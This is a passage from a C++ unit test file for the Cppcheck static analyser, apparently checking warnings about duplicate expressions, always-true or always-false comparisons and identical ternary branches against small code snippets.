{\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x 